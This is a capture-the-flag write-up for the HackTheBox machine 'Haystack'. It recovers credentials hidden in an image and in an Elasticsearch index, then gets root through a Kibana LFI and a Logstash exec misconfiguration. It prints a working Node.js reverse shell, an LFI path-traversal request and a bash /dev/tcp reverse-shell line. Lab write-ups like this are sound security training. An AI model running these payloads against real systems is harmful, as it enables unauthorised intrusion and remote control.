Haystack - HackTheBox
Information gathering
As always, let's scan the host using nmap:
$ nmap -A -T4 10.10.10.115
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-30 17:24 EDT
Nmap scan report for 10.10.10.115
Host is up (0.052s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
1556/tcp closed veritas_pbx
6101/tcp closed backupexec
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.50 seconds
Exploration
The web server homepage contains an image:

As there's nothing in the page's source code, let's download it and inspect it
using strings:
$ strings needle.jpg
JFIF
Exif
paint.net 4.1.1
...
...
...
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
It might be base64, let's try to decode it:
$ echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
Ok, it looks like we have a hint, the translation is:
The needle in the haystack is "key"
Let's keep it in mind.
Further exploring
Let's check the second web server. Visiting http://10.10.10.115:9200 returns
us some json:
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}
It looks like there's an elasticsearch instance running on the machine, which
is a search engine.
Let's see what are the available indices (you can see them as tables of a
classic database) by querying http://10.10.10.115:9200/_cat/indices?v:
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
So we have quotes and bank. As they are both quite big, we can use a
parameter named q in our requests to the _search endpoint to search for
data.
After some attempts, I discovered this message on
http://10.10.10.115:9200/_search?pretty&q=haystack:
{
"took" : 29,
"timed_out" : false,
"_shards" : {
"total" : 11,
"successful" : 11,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : 1,
"max_score" : 5.427053,
"hits" : [
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "2",
"_score" : 5.427053,
"_source" : {
"quote" : "There's a needle in this haystack, you have to search for it"
}
}
]
}
}
This seems to point us towards the previous hint, so let's try to query
http://10.10.10.115:9200/_search?pretty&q=clave:
{
"took" : 26,
"timed_out" : false,
"_shards" : {
"total" : 11,
"successful" : 11,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : 2,
"max_score" : 5.9335938,
"hits" : [
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "45",
"_score" : 5.9335938,
"_source" : {
"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
}
},
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "111",
"_score" : 5.3459888,
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
}
}
]
}
}
Bingo! Let's decode the two strings:
$ echo dXNlcjogc2VjdXJpdHkg | base64 -d
user: security
And here's the second one:
$ echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d
pass: spanish.is.key
Seems like we have a set of credentials! After connecting, let's get the user flag:
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
Privilege escalation
Usually when there's elasticsearch on a server, there's also kibana and
logstash, hence the name ELK stack.
Checking the list of running processes with ps -Ao user,pid,args -ww, we
can see that logstash is running as root, as opposed to its own user.
By making a request to http://localhost:5601/api/status we can see that the
running version of the instance of kibana is 6.4.2 which has a nice LFI
vulnerability that can be exploited to get a shell as the user kibana. More
details can be found here.
Let's write this reverse shell in a file and set our IP address and port in the
call to client.connect:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.8", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
And after setting our netcat listener with nc -lnvp 1337, let's make a request
to the vulnerable module to get the reverse shell:
$ curl http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION\&apis=../../../../../../.../../../../tmp/shell.js
Ok, now we can check the logstash configuration files, starting by
/etc/logstash/conf.d/filter.conf:
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
This is input.conf:
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
And the last one, output.conf:
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
Command execution as root
The vulnerability here can be exploited by writing a file in
/opt/kibana/logstash_* that contains the string Ejecutar comando : followed
by any command that we want to run. Given the misconfiguration of logstash,
the command will be executed as root.
Let's write the file that contains the reverse shell connection:
echo "Ejecutar comando : bash -i >& /dev/tcp/10.10.14.8/1338 0>&1" > /opt/kibana/logstash_revshell
After a couple of seconds we will get our root shell and we can print the flag:
[root@haystack /]# cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92